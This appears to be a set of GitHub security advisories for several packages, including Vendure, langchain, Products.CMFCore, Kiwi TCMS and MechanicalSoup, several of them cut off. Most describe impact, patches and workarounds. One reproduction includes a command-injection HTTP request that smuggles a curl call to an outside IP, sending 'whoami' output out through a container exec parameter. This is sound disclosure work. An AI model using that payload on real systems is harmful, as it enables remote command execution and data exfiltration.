ghsa

### Impact Vendure provides an authorization system with different levels of privileges. For example, an administrator cannot create another administrator. In the admin UI, there are a couple of places with description inputs, such as inventory/collection catalog, shipping methods, promotions, and more. While the WYSIWYG editor allows limited customization, altering the request data (not in the ui) saves and returns arbitrary HTML with no sanitization. Causing an XSS when viewing the page. The impact of this XSS is privilege escalation. A user that can write any type of description can trigger the attack. Then any other user that visits the vulnerable page is prone to arbitrary Javascript code execution, giving the attacker ability to execute actions on behalf of this user. ### Patches in progress ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### References _Are there any links users can visit to find out more?_

An issue in langchain allows a remote attacker to execute arbitrary code via the PALChain parameter in the Python exec method.

SQL injection vulnerability in langchain allows a remote attacker to obtain sensitive information via the SQLDatabaseChain component.

### Impact The use of Python's marshal module to handle unchecked input in a public method on `PortalFolder` objects can lead to an unauthenticated denial of service and crash situation. The code in question is exposed by all portal software built on top of `Products.CMFCore`, such as Plone. All deployments are vulnerable. ### Patches The code has been fixed in `Products.CMFCore` version 3.2. ### Workarounds Users can make the affected `decodeFolderFilter` method unreachable by editing the `PortalFolder.py` module in `Products.CMFCore` by hand and then restarting Zope. Go to line 233 of `PortalFolder.py` and remove both the `@security.public` decorator for `decodeFolderFilter` as well as the method's entire docstring. This is safe because the method is not actually used by current code. ### References - Products.CMFCore security advisory [GHSA-4hpj-8rhv-9x87](https://github.com/zopefoundation/Products.CMFCore/security/advisories/GHSA-4hpj-8rhv-9x87) ### Credits Thanks go to Nicolas...

### Impact Kiwi TCMS allows users to upload attachments to test plans, test cases, etc. Earlier versions of Kiwi TCMS had introduced changes which were meant to serve all uploaded files as plain text in order to prevent browsers from executing potentially dangerous files when such files are accessed directly! The previous Nginx configuration was incorrect allowing certain browsers like Firefox to ignore the `Content-Type: text/plain` header on some occasions thus allowing potentially dangerous scripts to be executed. Additionally file upload validators and parts of the HTML rendering code have been found to require additional sanitation and improvements. ### Patches - Updated Nginx content type configuration - Improved file upload validation code to prevent more potentially dangerous uploads - Sanitization of test plan names used in the `tree_view_html()` function ### References Disclosed by [M Nadeem Qazi](https://huntr.dev/bounties/511489dd-ba38-4806-9029-b28ab2830aa8/) and ...

### Impact There is a Privilege Escalation Vulnerability on the management system of Connect-CMS. Affercted Version : Connect-CMS 1.7.1, 2.3.1 and earlier ### Patches version 1.7.2, 2.3.2 ### Workarounds Upgrade Connect-CMS to latest version

### Impact The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. 1. Vulnerability analysis. ``` backend\app\api\v1\terminal.go#ContainerWsSsh ```  2. vulnerability reproduction. ``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` 3. The su...

### Impact The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. 1. Vulnerability analysis. ``` backend\app\api\v1\image_repo.go#create ```  ``` backend\app\service\image_repo.go#CheckConn ```  2. vulnerability reproduction. ``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession...

### Impact All versions of @fastify/oauth2 used a statically generated `state` parameter at startup time and were used across all requests for all users. The purpose of the Oauth2 `state` parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user's session in some way that will allow the server to validate it. ### Patches v7.2.0 changes the default behavior to store the `state` in a cookie with the `http-only` and `same-site=lax` attributes set. The state is now by default generated for every user. Note that this contains a breaking change in the `checkStateFunction` function, which now accepts the full `Request` object. ### Workarounds There are no known workarounds. ### References * [Prevent Attacks and Redirect Users with OAuth 2.0 State Parameters](https://auth0.com/docs/secure/attack-protection/state-parameters)

### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. ### Details This affects the extremely common pattern of form submission: ```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ``` The problem is with the code in `browser.Browser.get_request_kwargs`: ```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ``` The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malici...